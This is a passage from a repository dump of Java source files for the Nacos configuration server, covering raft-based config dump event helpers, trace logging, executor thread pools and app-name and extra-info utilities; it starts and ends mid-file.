* @param configInfo {@link ConfigInfo}\n     * @param betaIps    Receive client IP for grayscale configuration publishing\n     * @param srcIp      The IP of the operator\n     * @param time       Operating time\n     */\n    public static void onModifyConfigBetaInfo(ConfigInfo configInfo, String betaIps, String srcIp, Timestamp time) {\n        if (!EnvUtil.getStandaloneMode()) {\n            ConfigDumpEvent event = ConfigDumpEvent.builder().remove(false).namespaceId(configInfo.getTenant())\n                    .dataId(configInfo.getDataId()).group(configInfo.getGroup()).isBeta(true).betaIps(betaIps)\n                    .content(configInfo.getContent()).type(configInfo.getType()).handleIp(srcIp)\n                    .lastModifiedTs(time.getTime()).encryptedDataKey(configInfo.getEncryptedDataKey()).build();\n            \n            Map<String, String> extendInfo = new HashMap<>(2);\n            extendInfo.put(Constants.EXTEND_INFO_CONFIG_DUMP_EVENT, JacksonUtils.toJson(event));\n            EmbeddedStorageContextHolder.putAllExtendInfo(extendInfo);\n        }\n    }\n    \n    /**\n     * In the case of the in-cluster storage mode, the logic of horizontal notification is implemented asynchronously\n     * via the raft state machine, along with the information.\n     *\n     * @param configInfo {@link ConfigInfo}\n     * @param tag        tag info\n     * @param srcIp      The IP of the operator\n     * @param time       Operating time\n     */\n    public static void onModifyConfigTagInfo(ConfigInfo configInfo, String tag, String srcIp, Timestamp time) {\n        if (!EnvUtil.getStandaloneMode()) {\n            ConfigDumpEvent event = ConfigDumpEvent.builder().remove(false).namespaceId(configInfo.getTenant())\n                    .dataId(configInfo.getDataId()).group(configInfo.getGroup()).isBeta(false).tag(tag)\n                    .content(configInfo.getContent()).type(configInfo.getType()).handleIp(srcIp)\n                    .lastModifiedTs(time.getTime()).build();\n            \n            Map<String, String> extendInfo = new HashMap<>(2);\n            extendInfo.put(Constants.EXTEND_INFO_CONFIG_DUMP_EVENT, JacksonUtils.toJson(event));\n            EmbeddedStorageContextHolder.putAllExtendInfo(extendInfo);\n        }\n    }\n    \n    /**\n     * In the case of the in-cluster storage mode, the logic of horizontal notification is implemented asynchronously\n     * via the raft state machine, along with the information.\n     *\n     * @param configInfo {@link ConfigInfo}\n     * @param grayName gray name\n     * @param grayRule gray rule\n     * @param srcIp      The IP of the operator\n     * @param time       Operating time\n     */\n    public static void onModifyConfigGrayInfo(ConfigInfo configInfo, String grayName, String grayRule, String srcIp, Timestamp time) {\n        if (!EnvUtil.getStandaloneMode()) {\n            ConfigDumpEvent event = ConfigDumpEvent.builder().remove(false).namespaceId(configInfo.getTenant())\n                    .dataId(configInfo.getDataId()).group(configInfo.getGroup()).isBeta(false).grayName(grayName)\n                    .grayRule(grayRule).content(configInfo.getContent()).type(configInfo.getType()).handleIp(srcIp)\n                    .lastModifiedTs(time.getTime()).build();\n            \n            Map<String, String> extendInfo = new HashMap<>(2);\n            extendInfo.put(Constants.EXTEND_INFO_CONFIG_DUMP_EVENT, JacksonUtils.toJson(event));\n            EmbeddedStorageContextHolder.putAllExtendInfo(extendInfo);\n        }\n    }\n    \n    /**\n     * In the case of the in-cluster storage mode, the logic of horizontal notification is implemented asynchronously\n     * via the raft state machine, along with the information.\n     *\n     * @param namespaceId namespaceId\n     * @param group       groupName\n     * @param dataId      dataId\n     * @param srcIp       The IP of the operator\n     * @param time        Operating time\n     */\n    public static void onDeleteConfigInfo(String namespaceId, String group, String dataId, String srcIp,\n            Timestamp time) {\n        if (!EnvUtil.getStandaloneMode()) {\n            ConfigDumpEvent event = ConfigDumpEvent.builder().remove(true).namespaceId(namespaceId).group(group)\n                    .dataId(dataId).isBeta(false).handleIp(srcIp).lastModifiedTs(time.getTime()).build();\n            \n            Map<String, String> extendInfo = new HashMap<>(2);\n            extendInfo.put(Constants.EXTEND_INFO_CONFIG_DUMP_EVENT, JacksonUtils.toJson(event));\n            EmbeddedStorageContextHolder.putAllExtendInfo(extendInfo);\n        }\n    }\n    \n    /**\n     * In the case of the in-cluster storage mode, the logic of horizontal notification is implemented asynchronously\n     * via the raft state machine, along with the information.\n     *\n     * @param configInfos {@link ConfigAllInfo} list\n     */\n    public static void onBatchDeleteConfigInfo(List<ConfigAllInfo> configInfos) {\n        if (!EnvUtil.getStandaloneMode()) {\n            List<ConfigDumpEvent> events = new ArrayList<>();\n            for (ConfigAllInfo configInfo : configInfos) {\n                String namespaceId =\n                        StringUtils.isBlank(configInfo.getTenant()) ? StringUtils.EMPTY : configInfo.getTenant();\n                ConfigDumpEvent event = ConfigDumpEvent.builder().remove(true).namespaceId(namespaceId)\n                        .group(configInfo.getGroup()).dataId(configInfo.getDataId()).isBeta(false).build();\n                \n                events.add(event);\n            }\n            \n            Map<String, String> extendInfo = new HashMap<>(2);\n            extendInfo.put(Constants.EXTEND_INFOS_CONFIG_DUMP_EVENT, JacksonUtils.toJson(events));\n            EmbeddedStorageContextHolder.putAllExtendInfo(extendInfo);\n        }\n    }\n    \n    /**\n     * In the case of the in-cluster storage mode, the logic of horizontal notification is implemented asynchronously\n     * via the raft state machine, along with the information.\n     *\n     * @param namespaceId namespaceId\n     * @param group       group\n     * @param dataId      dataId\n     * @param time        Operating time\n     */\n    public static void onDeleteConfigBetaInfo(String namespaceId, String group, String dataId, long time) {\n        if (!EnvUtil.getStandaloneMode()) {\n            ConfigDumpEvent event = ConfigDumpEvent.builder().remove(true).namespaceId(namespaceId).dataId(dataId)\n                    .group(group).isBeta(true).build();\n            \n            Map<String, String> extendInfo = new HashMap<>(2);\n            extendInfo.put(Constants.EXTEND_INFO_CONFIG_DUMP_EVENT, JacksonUtils.toJson(event));\n            EmbeddedStorageContextHolder.putAllExtendInfo(extendInfo);\n        }\n    }\n    \n    /**\n     * In the case of the in-cluster storage mode, the logic of horizontal notification is implemented asynchronously\n     * via the raft state machine, along with the information.\n     *\n     * @param namespaceId namespaceId\n     * @param group       group\n     * @param dataId      dataId\n     * @param tag         tag info\n     * @param srcIp       The IP of the operator\n     */\n    public static void onDeleteConfigTagInfo(String namespaceId, String group, String dataId, String tag,\n            String srcIp) {\n        if (!EnvUtil.getStandaloneMode()) {\n            ConfigDumpEvent event = ConfigDumpEvent.builder().remove(true).namespaceId(namespaceId).group(group)\n                    .dataId(dataId).isBeta(true).tag(tag).handleIp(srcIp).build();\n            \n            Map<String, String> extendInfo = new HashMap<>(2);\n            extendInfo.put(Constants.EXTEND_INFO_CONFIG_DUMP_EVENT, JacksonUtils.toJson(event));\n            EmbeddedStorageContextHolder.putAllExtendInfo(extendInfo);\n        }\n    }\n    \n    /**\n     * In the case of the in-cluster storage mode, the logic of horizontal notification is implemented asynchronously\n     * via the raft state machine, along with the information.\n     *\n     * @param namespaceId namespaceId\n     * @param group       group\n     * @param dataId      dataId\n     * @param grayName gray name\n     * @param srcIp       The IP of the operator\n     */\n    public static void onDeleteConfigGrayInfo(String namespaceId, String group, String dataId, String grayName,\n            String srcIp) {\n        if (!EnvUtil.getStandaloneMode()) {\n            ConfigDumpEvent event = ConfigDumpEvent.builder().remove(true).namespaceId(namespaceId).group(group)\n                    .dataId(dataId).isBeta(true).grayName(grayName).handleIp(srcIp).build();\n            \n            Map<String, String> extendInfo = new HashMap<>(2);\n            extendInfo.put(Constants.EXTEND_INFO_CONFIG_DUMP_EVENT, JacksonUtils.toJson(event));\n            EmbeddedStorageContextHolder.putAllExtendInfo(extendInfo);\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/sql/ExternalStorageUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.sql;\n\nimport org.springframework.jdbc.support.GeneratedKeyHolder;\nimport org.springframework.jdbc.support.KeyHolder;\n\n/**\n * external storage utils.\n * @author shiyiyue\n */\npublic class ExternalStorageUtils {\n    \n    public static KeyHolder createKeyHolder() {\n        return new GeneratedKeyHolder();\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/trace/ConfigTraceService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.trace;\n\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.monitor.MetricsMonitor;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.sys.utils.InetUtils;\nimport org.springframework.stereotype.Service;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Config trace.\n *\n * @author Nacos\n */\n@Service\npublic class ConfigTraceService {\n    \n    /**\n     * persist event.\n     */\n    public static final String PERSISTENCE_EVENT = \"persist\";\n    \n    public static final String PERSISTENCE_EVENT_BETA = \"persist-beta\";\n    \n    public static final String PERSISTENCE_EVENT_TAG = \"persist-tag\";\n    \n    public static final String PERSISTENCE_EVENT_METADATA = \"persist-metadata\";\n    \n    /**\n     * persist type.\n     */\n    public static final String PERSISTENCE_TYPE_PUB = \"pub\";\n    \n    public static final String PERSISTENCE_TYPE_REMOVE = \"remove\";\n    \n    public static final String PERSISTENCE_TYPE_MERGE = \"merge\";\n    \n    /**\n     * notify event.\n     */\n    public static final String NOTIFY_EVENT = \"notify\";\n    \n    public static final String NOTIFY_EVENT_BETA = \"notify-beta\";\n    \n    public static final String NOTIFY_EVENT_BATCH = \"notify-batch\";\n    \n    public static final String NOTIFY_EVENT_TAG = \"notify-tag\";\n    \n    /**\n     * notify type.\n     */\n    public static final String NOTIFY_TYPE_OK = \"ok\";\n    \n    public static final String NOTIFY_TYPE_ERROR = \"error\";\n    \n    public static final String NOTIFY_TYPE_UNHEALTH = \"unhealth\";\n    \n    public static final String NOTIFY_TYPE_EXCEPTION = \"exception\";\n    \n    /**\n     * dump event.\n     */\n    public static final String DUMP_EVENT = \"dump\";\n    \n    public static final String DUMP_EVENT_BETA = \"dump-beta\";\n    \n    public static final String DUMP_EVENT_BATCH = \"dump-batch\";\n    \n    public static final String DUMP_EVENT_TAG = \"dump-tag\";\n    \n    /**\n     * dump type.\n     */\n    public static final String DUMP_TYPE_OK = \"ok\";\n    \n    public static final String DUMP_TYPE_REMOVE_OK = \"remove-ok\";\n    \n    public static final String DUMP_TYPE_ERROR = \"error\";\n    \n    /**\n     * pull event.\n     */\n    public static final String PULL_EVENT = \"pull\";\n    \n    /**\n     * pull type.\n     */\n    public static final String PULL_TYPE_OK = \"ok\";\n    \n    public static final String PULL_TYPE_NOTFOUND = \"not-found\";\n    \n    public static final String PULL_TYPE_CONFLICT = \"conflict\";\n    \n    public static final String PULL_TYPE_ERROR = \"error\";\n    \n    /**\n     * log persistence event.\n     *\n     * @param dataId           data id\n     * @param group            group\n     * @param tenant           tenant\n     * @param requestIpAppName request ip app name\n     * @param ts               ts\n     * @param handleIp         remote ip\n     * @param type             type\n     * @param content          content\n     */\n    public static void logPersistenceEvent(String dataId, String group, String tenant, String requestIpAppName, long ts,\n            String handleIp, String event, String type, String content) {\n        if (!LogUtil.TRACE_LOG.isInfoEnabled()) {\n            return;\n        }\n        // Convenient tlog segmentation.\n        if (StringUtils.isBlank(tenant)) {\n            tenant = null;\n        }\n        //localIp | dataid | group | tenant | requestIpAppName | ts | client ip | event | type | [delayed = -1] | ext\n        // (md5)\n        String md5 = content == null ? null : MD5Utils.md5Hex(content, Constants.PERSIST_ENCODE);\n        LogUtil.TRACE_LOG.info(\"{}|{}|{}|{}|{}|{}|{}|{}|{}|{}|{}\", InetUtils.getSelfIP(), dataId, group, tenant,\n                requestIpAppName, ts, handleIp, event, type, -1, md5);\n    }\n    \n    /**\n     * log notify event.\n     *\n     * @param dataId           data id\n     * @param group            group\n     * @param tenant           tenant\n     * @param requestIpAppName request ip app name\n     * @param ts               ts\n     * @param handleIp         handle ip\n     * @param type             type\n     * @param delayed          delayed\n     * @param targetIp         target ip\n     */\n    public static void logNotifyEvent(String dataId, String group, String tenant, String requestIpAppName, long ts,\n            String handleIp, String event, String type, long delayed, String targetIp) {\n        if (!LogUtil.TRACE_LOG.isInfoEnabled()) {\n            return;\n        }\n        if (delayed < 0) {\n            delayed = 0;\n        }\n        MetricsMonitor.getNotifyRtTimer().record(delayed, TimeUnit.MILLISECONDS);\n        // Convenient tlog segmentation\n        if (StringUtils.isBlank(tenant)) {\n            tenant = null;\n        }\n        //localIp | dataid | group | tenant | requestIpAppName | ts | handleIp | event | type | [delayed] | ext\n        // (targetIp)\n        LogUtil.TRACE_LOG.info(\"{}|{}|{}|{}|{}|{}|{}|{}|{}|{}|{}\", InetUtils.getSelfIP(), dataId, group, tenant,\n                requestIpAppName, ts, handleIp, event, type, delayed, targetIp);\n    }\n    \n    /**\n     * log dump event.\n     *\n     * @param dataId           data id\n     * @param group            group\n     * @param tenant           tenant\n     * @param requestIpAppName request ip app name\n     * @param ts               ts\n     * @param handleIp         handle ip\n     * @param type             type\n     * @param delayed          delayed\n     * @param length           length\n     */\n    public static void logDumpEvent(String dataId, String group, String tenant, String requestIpAppName, long ts,\n            String handleIp, String type, long delayed, long length) {\n        logDumpEventInner(dataId, group, tenant, requestIpAppName, ts, handleIp, ConfigTraceService.DUMP_EVENT, type,\n                delayed, length);\n    }\n    \n    public static void logDumpGrayNameEvent(String dataId, String group, String tenant, String grayName,\n            String requestIpAppName, long ts, String handleIp, String type, long delayed, long length) {\n        logDumpEventInner(dataId, group, tenant, requestIpAppName, ts, handleIp,\n                ConfigTraceService.DUMP_EVENT + \"-\" + grayName, type, delayed, length);\n    }\n    \n    private static void logDumpEventInner(String dataId, String group, String tenant, String requestIpAppName, long ts,\n            String handleIp, String event, String type, long delayed, long length) {\n        if (!LogUtil.TRACE_LOG.isInfoEnabled()) {\n            return;\n        }\n        if (delayed < 0) {\n            delayed = 0;\n        }\n        MetricsMonitor.getDumpRtTimer().record(delayed, TimeUnit.MILLISECONDS);\n        // Convenient tlog segmentation\n        if (StringUtils.isBlank(tenant)) {\n            tenant = null;\n        }\n        //localIp | dataid | group | tenant | requestIpAppName | ts | handleIp | event | type | [delayed] | length\n        LogUtil.TRACE_LOG.info(\"{}|{}|{}|{}|{}|{}|{}|{}|{}|{}|{}\", InetUtils.getSelfIP(), dataId, group, tenant,\n                requestIpAppName, ts, handleIp, event, type, delayed, length);\n    }\n    \n    /**\n     * log dump all event.\n     *\n     * @param dataId           data id\n     * @param group            group\n     * @param tenant           tenant\n     * @param requestIpAppName request ip app name\n     * @param ts               ts\n     * @param handleIp         handle ip\n     * @param type             type\n     */\n    public static void logDumpAllEvent(String dataId, String group, String tenant, String requestIpAppName, long ts,\n            String handleIp, String type) {\n        if (!LogUtil.TRACE_LOG.isInfoEnabled()) {\n            return;\n        }\n        // Convenient tlog segmentation\n        if (StringUtils.isBlank(tenant)) {\n            tenant = null;\n        }\n        //localIp | dataid | group | tenant | requestIpAppName | ts | handleIp | event | type | [delayed = -1]\n        LogUtil.TRACE_LOG.info(\"{}|{}|{}|{}|{}|{}|{}|{}|{}|{}\", InetUtils.getSelfIP(), dataId, group, tenant,\n                requestIpAppName, ts, handleIp, \"dump-all\", type, -1);\n    }\n    \n    /**\n     * log pull event.\n     *\n     * @param dataId           data id\n     * @param group            group\n     * @param tenant           tenant\n     * @param requestIpAppName request ip app name\n     * @param ts               ts\n     * @param type             type\n     * @param delayed          delayed\n     * @param clientIp         clientIp\n     * @param isNotify         isNotify\n     * @param model            model\n     */\n    public static void logPullEvent(String dataId, String group, String tenant, String requestIpAppName, long ts,\n            String event, String type, long delayed, String clientIp, boolean isNotify, String model) {\n        if (!LogUtil.TRACE_LOG.isInfoEnabled()) {\n            return;\n        }\n        // Convenient tlog segmentation\n        if (StringUtils.isBlank(tenant)) {\n            tenant = null;\n        }\n        if (isNotify && delayed < 0) {\n            delayed = 0;\n        }\n        // localIp | dataid | group | tenant| requestIpAppName| ts | event | type | [delayed] |clientIp| isNotify | mode（http/grpc)\n        LogUtil.TRACE_LOG.info(\"{}|{}|{}|{}|{}|{}|{}|{}|{}|{}|{}|{}\", InetUtils.getSelfIP(), dataId, group, tenant,\n                requestIpAppName, ts, event, type, delayed, clientIp, isNotify, model);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/AccumulateStatCount.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport java.util.concurrent.atomic.AtomicLong;\n\n/**\n * Accumulate Stat Count.\n *\n * @author Nacos\n */\npublic class AccumulateStatCount {\n    \n    final AtomicLong total = new AtomicLong(0);\n    \n    long lastStatValue = 0;\n    \n    public long increase() {\n        return total.incrementAndGet();\n    }\n    \n    /**\n     * accumulate stat.\n     *\n     * @return stat.\n     */\n    public long stat() {\n        long tmp = total.get() - lastStatValue;\n        lastStatValue += tmp;\n        return tmp;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/AppNameUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.File;\n\n/**\n * appName util.\n *\n * @author Nacos\n */\npublic class AppNameUtils {\n    \n    private static final String PARAM_MARKING_PROJECT = \"project.name\";\n    \n    private static final String PARAM_MARKING_JBOSS = \"jboss.server.home.dir\";\n    \n    private static final String PARAM_MARKING_JETTY = \"jetty.home\";\n    \n    private static final String PARAM_MARKING_TOMCAT = \"catalina.base\";\n    \n    private static final String LINUX_ADMIN_HOME = \"/home/admin/\";\n    \n    private static final String SERVER_JBOSS = \"jboss\";\n    \n    private static final String SERVER_JETTY = \"jetty\";\n    \n    private static final String SERVER_TOMCAT = \"tomcat\";\n    \n    private static final String SERVER_UNKNOWN = \"unknown server\";\n    \n    private static final String DEFAULT_APP_NAME = \"unknown\";\n    \n    public static String getAppName() {\n        String appName;\n        \n        appName = getAppNameByProjectName();\n        if (appName != null) {\n            return appName;\n        }\n        \n        appName = getAppNameByServerHome();\n        if (appName != null) {\n            return appName;\n        }\n        \n        return DEFAULT_APP_NAME;\n    }\n    \n    private static String getAppNameByProjectName() {\n        return System.getProperty(PARAM_MARKING_PROJECT);\n    }\n    \n    private static String getAppNameByServerHome() {\n        String serverHome = null;\n        if (SERVER_JBOSS.equals(getServerType())) {\n            serverHome = System.getProperty(PARAM_MARKING_JBOSS);\n        } else if (SERVER_JETTY.equals(getServerType())) {\n            serverHome = System.getProperty(PARAM_MARKING_JETTY);\n        } else if (SERVER_TOMCAT.equals(getServerType())) {\n            serverHome = System.getProperty(PARAM_MARKING_TOMCAT);\n        }\n        \n        if (serverHome != null && serverHome.startsWith(LINUX_ADMIN_HOME)) {\n            return StringUtils.substringBetween(serverHome, LINUX_ADMIN_HOME, File.separator);\n        }\n        \n        return null;\n    }\n    \n    private static String getServerType() {\n        String serverType;\n        if (System.getProperty(PARAM_MARKING_JBOSS) != null) {\n            serverType = SERVER_JBOSS;\n        } else if (System.getProperty(PARAM_MARKING_JETTY) != null) {\n            serverType = SERVER_JETTY;\n        } else if (System.getProperty(PARAM_MARKING_TOMCAT) != null) {\n            serverType = SERVER_TOMCAT;\n        } else {\n            serverType = SERVER_UNKNOWN;\n        }\n        return serverType;\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/ConfigExecutor.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.common.executor.ExecutorFactory;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\nimport com.alibaba.nacos.config.server.Config;\nimport com.alibaba.nacos.core.utils.ClassUtils;\n\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledFuture;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Config executor.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic final class ConfigExecutor {\n    \n    private static final ScheduledExecutorService TIMER_EXECUTOR = ExecutorFactory.Managed.newScheduledExecutorService(\n            ClassUtils.getCanonicalName(Config.class), 8,\n            new NameThreadFactory(\"com.alibaba.nacos.config.server.timer\"));\n    \n    private static final ScheduledExecutorService CAPACITY_MANAGEMENT_EXECUTOR = ExecutorFactory.Managed.newSingleScheduledExecutorService(\n            ClassUtils.getCanonicalName(Config.class),\n            new NameThreadFactory(\"com.alibaba.nacos.config.CapacityManagement\"));\n    \n    private static final ScheduledExecutorService ASYNC_NOTIFY_EXECUTOR = ExecutorFactory.Managed.newScheduledExecutorService(\n            ClassUtils.getCanonicalName(Config.class), 100,\n            new NameThreadFactory(\"com.alibaba.nacos.config.AsyncNotifyService\"));\n    \n    private static final ScheduledExecutorService ASYNC_CONFIG_CHANGE_PLUGIN_EXECUTOR = ExecutorFactory.Managed.newScheduledExecutorService(\n            ClassUtils.getCanonicalName(Config.class), ThreadUtils.getSuitableThreadCount(),\n            new NameThreadFactory(\"com.alibaba.nacos.config.plugin.AsyncService\"));\n    \n    private static final ScheduledExecutorService CONFIG_SUB_SERVICE_EXECUTOR = ExecutorFactory.Managed.newScheduledExecutorService(\n            ClassUtils.getCanonicalName(Config.class), ThreadUtils.getSuitableThreadCount(),\n            new NameThreadFactory(\"com.alibaba.nacos.config.ConfigSubService\"));\n    \n    private static final ScheduledExecutorService LONG_POLLING_EXECUTOR = ExecutorFactory.Managed.newSingleScheduledExecutorService(\n            ClassUtils.getCanonicalName(Config.class), new NameThreadFactory(\"com.alibaba.nacos.config.LongPolling\"));\n    \n    private static final ScheduledExecutorService ASYNC_CONFIG_CHANGE_NOTIFY_EXECUTOR = ExecutorFactory.Managed.newScheduledExecutorService(\n            ClassUtils.getCanonicalName(Config.class), ThreadUtils.getSuitableThreadCount(),\n            new NameThreadFactory(\"com.alibaba.nacos.config.server.remote.ConfigChangeNotifier\"));\n    \n    public static void scheduleConfigTask(Runnable command, long initialDelay, long delay, TimeUnit unit) {\n        TIMER_EXECUTOR.scheduleWithFixedDelay(command, initialDelay, delay, unit);\n    }\n    \n    public static void scheduleConfigChangeTask(Runnable command, long delay, TimeUnit unit) {\n        TIMER_EXECUTOR.schedule(command, delay, unit);\n    }\n    \n    public static void scheduleCorrectUsageTask(Runnable runnable, long initialDelay, long delay, TimeUnit unit) {\n        CAPACITY_MANAGEMENT_EXECUTOR.scheduleWithFixedDelay(runnable, initialDelay, delay, unit);\n    }\n    \n    public static void executeAsyncNotify(Runnable runnable) {\n        ASYNC_NOTIFY_EXECUTOR.execute(runnable);\n    }\n    \n    public static void scheduleAsyncNotify(Runnable command, long delay, TimeUnit unit) {\n        ASYNC_NOTIFY_EXECUTOR.schedule(command, delay, unit);\n    }\n    \n    public static void executeAsyncConfigChangePluginTask(Runnable runnable) {\n        ASYNC_CONFIG_CHANGE_PLUGIN_EXECUTOR.execute(runnable);\n    }\n    \n    public static int asyncNotifyQueueSize() {\n        return ((ScheduledThreadPoolExecutor) ASYNC_NOTIFY_EXECUTOR).getQueue().size();\n    }\n    \n    public static int asyncConfigChangeClientNotifyQueueSize() {\n        return ((ScheduledThreadPoolExecutor) ASYNC_CONFIG_CHANGE_NOTIFY_EXECUTOR).getQueue().size();\n    }\n    \n    public static ScheduledExecutorService getConfigSubServiceExecutor() {\n        return CONFIG_SUB_SERVICE_EXECUTOR;\n    }\n    \n    public static ScheduledExecutorService getClientConfigNotifierServiceExecutor() {\n        return ASYNC_CONFIG_CHANGE_NOTIFY_EXECUTOR;\n    }\n    \n    public static ScheduledFuture<?> scheduleClientConfigNotifier(Runnable runnable, long delay, TimeUnit unit) {\n        return ASYNC_CONFIG_CHANGE_NOTIFY_EXECUTOR.schedule(runnable, delay, unit);\n    }\n    \n    public static void scheduleLongPolling(Runnable runnable, long initialDelay, long delay, TimeUnit unit) {\n        LONG_POLLING_EXECUTOR.scheduleWithFixedDelay(runnable, initialDelay, delay, unit);\n    }\n    \n    public static ScheduledFuture<?> scheduleLongPolling(Runnable runnable, long delay, TimeUnit unit) {\n        return LONG_POLLING_EXECUTOR.schedule(runnable, delay, unit);\n    }\n    \n    public static void executeLongPolling(Runnable runnable) {\n        LONG_POLLING_EXECUTOR.execute(runnable);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/ConfigExtInfoUtil.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigAllInfo;\nimport com.fasterxml.jackson.databind.JsonNode;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.fasterxml.jackson.databind.node.ObjectNode;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Extra info util.\n *\n * @author Nacos\n */\npublic class ConfigExtInfoUtil {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConfigExtInfoUtil.class);\n    \n    private static final ObjectMapper OBJECT_MAPPER = new ObjectMapper();\n    \n    private static final Map<String, String> EXTRA_INFO_KEYS_MAPPING = new HashMap<>();\n    \n    static {\n        EXTRA_INFO_KEYS_MAPPING.put(\"type\", \"type\");\n        EXTRA_INFO_KEYS_MAPPING.put(\"config_tags\", \"config_tags\");\n        EXTRA_INFO_KEYS_MAPPING.put(\"src_user\", \"src_user\");\n        EXTRA_INFO_KEYS_MAPPING.put(\"desc\", \"c_desc\");\n        EXTRA_INFO_KEYS_MAPPING.put(\"use\", \"c_use\");\n        EXTRA_INFO_KEYS_MAPPING.put(\"effect\", \"effect\");\n        EXTRA_INFO_KEYS_MAPPING.put(\"schema\", \"c_schema\");\n    }\n    \n    private ConfigExtInfoUtil() {\n    }\n    \n    /**\n     * Extract the extInfo from advance config info.\n     */\n    public static String getExtraInfoFromAdvanceInfoMap(Map<String, Object> advanceConfigInfoMap, String srcUser) {\n        try {\n            if (advanceConfigInfoMap == null || advanceConfigInfoMap.isEmpty()) {\n                return null;\n            }\n            \n            ObjectNode node = OBJECT_MAPPER.createObjectNode();\n            \n            if (StringUtils.isNotBlank(srcUser)) {\n                node.put(\"src_user\", srcUser);\n            }\n            \n            for (Map.Entry<String, String> entry : EXTRA_INFO_KEYS_MAPPING.entrySet()) {\n                String key = entry.getKey();\n                String mappedKey = entry.getValue();\n                Object advanceConfigInfoValue = advanceConfigInfoMap.get(key);\n                if (advanceConfigInfoValue instanceof String && StringUtils.isNotBlank(\n                        (String) advanceConfigInfoValue)) {\n                    node.put(mappedKey, ((String) advanceConfigInfoValue).trim());\n                }\n            }\n            \n            return OBJECT_MAPPER.writeValueAsString(node);\n        } catch (Exception ex) {\n            LOGGER.error(\"Failed to get extra info from advance info map\", ex);\n            return null;\n        }\n    }\n    \n    /**\n     * Extract the extInfo from all config info.\n     */\n    public static String getExtInfoFromAllInfo(ConfigAllInfo configAllInfo) {\n        